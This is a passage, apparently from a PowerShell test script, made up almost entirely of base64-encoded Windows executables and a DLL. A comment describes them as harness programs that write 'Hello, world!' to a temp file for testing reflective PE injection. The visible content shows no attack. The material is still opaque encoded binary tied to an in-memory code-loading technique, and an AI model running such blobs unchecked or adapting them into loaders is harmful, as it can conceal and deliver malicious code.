AEPMPfgUkIAAQiUX4D7cFICAAEGaJRfygIiAAEFaIRf6hLCAAEIlF8A+3BTAgABBoNCAAEGhAIAAQZg/WRehmiUX0/xUMIAAQUP8VCCAAEIvwhfZ0b2gCAQAAjYXk/v//UI1F+FD/FQAgABCFwHRVaEggABCNheT+//9oAgEAAFD/1oPEDIXAdTtQaIAAAABqAlBqB2gAAABAjYXk/v//UP8VFCAAEIvwhfZ0GGoAagBqDo1F6FBW/xUEIAAQVv8VECAAEF6L5V3DAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEiEAAC4hAAA6IQAATCEAAGAhAAAEIQAAAAAAACVURU1QJQAASGVsbG8sIHdvcmxkIQAAAHN0cmNhdF9zAAAAAG50ZGxsAAAAXHRlc3RvdXRwdXQudHh0AAAAAAAAAAAAAAAAAO58PlYAAAAAkiAAAAEAAAABAAAAAQAAAIggAACMIAAAkCAAABAQAAC0IAAAAABSZWZsZWN0aXZlUEVJbmplY3RUZXN0SGFybmVzcy5kbGwAVm9pZEZ1bmMAAAAA6CAAAAAAAAAAAAAAbiEAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAABIhAAAuIQAAOiEAAEwhAABgIQAABCEAAAAAAACIAENyZWF0ZUZpbGVBABwBRXhwYW5kRW52aXJvbm1lbnRTdHJpbmdzQQAlBVdyaXRlRmlsZQBFAkdldFByb2NBZGRyZXNzAAAVAkdldE1vZHVsZUhhbmRsZUEAAFIAQ2xvc2VIYW5kbGUAS0VSTkVMMzIuZGxsAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAKAAAABowIjAsMDUwPjBIME0wUjBhMGgwhDCNML8w1jDdMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==' - - # A bare bones test harness EXE that simply writes "Hello, world! (EXE ARGS)" to %TEMP%\testoutput.txt - $Encoded64BitExe = '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AAAAAEwmAAAAAAAAPCYAAAAAAACsJgAAAAAAAAAAAAAAAAAANiUAAAAAAABAJQAAAAAAAFYlAAAAAAAAaiUAAAAAAAB4JQAAAAAAAC4lAAAAAAAAnCUAAAAAAACoJQAAAAAAALIlAAAAAAAAviUAAAAAAADSJQAAAAAAAAQmAAAAAAAADCYAAAAAAAAWJgAAAAAAACQmAAAAAAAAMiYAAAAAAAAmJQAAAAAAABQlAAAAAAAABCUAAAAAAAD2JAAAAAAAAOgkAAAAAAAAhCUAAAAAAAAAAAAAAAAAAIgAQ3JlYXRlRmlsZUEAIgFFeHBhbmRFbnZpcm9ubWVudFN0cmluZ3NBADQFV3JpdGVGaWxlAEwCR2V0UHJvY0FkZHJlc3MAABsCR2V0TW9kdWxlSGFuZGxlQQAAUgBDbG9zZUhhbmRsZQBLRVJORUwzMi5kbGwAAFgBX1hjcHRGaWx0ZXIA8gFfYW1zZ19leGl0AACnAV9fZ2V0bWFpbmFyZ3MAzgFfX3NldF9hcHBfdHlwZQAAGAZleGl0AABYAl9leGl0AAoCX2NleGl0AAAaAl9jb25maWd0aHJlYWRsb2NhbGUA0AFfX3NldHVzZXJtYXRoZXJyAADiAl9pbml0dGVybV9lAOECX2luaXR0ZXJtAFwBX19DX3NwZWNpZmljX2hhbmRsZXIAAKgBX19pbml0ZW52AHgCX2Ztb2RlAAAZAl9jb21tb2RlAAAzAT90ZXJtaW5hdGVAQFlBWFhaAJkBX19jcnRTZXRVbmhhbmRsZWRFeGNlcHRpb25GaWx0ZXIAAE1TVkNSMTIwLmRsbAAAWwNfbG9jawDHBF91bmxvY2sACQJfY2FsbG9jX2NydACfAV9fZGxsb25leGl0AAIEX29uZXhpdADuAEVuY29kZVBvaW50ZXIAqQNRdWVyeVBlcmZvcm1hbmNlQ291bnRlcgDHAUdldEN1cnJlbnRQcm9jZXNzSWQAywFHZXRDdXJyZW50VGhyZWFkSWQAAIACR2V0U3lzdGVtVGltZUFzRmlsZVRpbWUAywBEZWNvZGVQb2ludGVyAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAD+/////////wAAAAAyot8tmSsAAM1dINJm1P//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAJgQAABAIgAAmBAAAHwRAABQIgAAfBEAAIwRAABoIgAAjBEAAFoSAAB4IgAAXBIAAL8SAACAIgAAwBIAADAUAACIIgAAMBQAAEIUAAB4IgAARBQAAHwUAAB4IgAAfBQAAJMUAAB4IgAA8BQAAD0VAACoIgAAcBUAABwWAADMIgAAIBYAAG4WAAAAIwAAcBYAACAXAADYIgAAIBcAADcXAAB4IgAAOBcAAHAXAAAIIwAAcBcAAKgXAAAIIwAA4BcAAP4XAAD4IgAAABgAACAYAAD4IgAAIBgAADsYAAD4IgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAFAAAACihQKFIoVChCKIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==' - $Encoded32BitExe = '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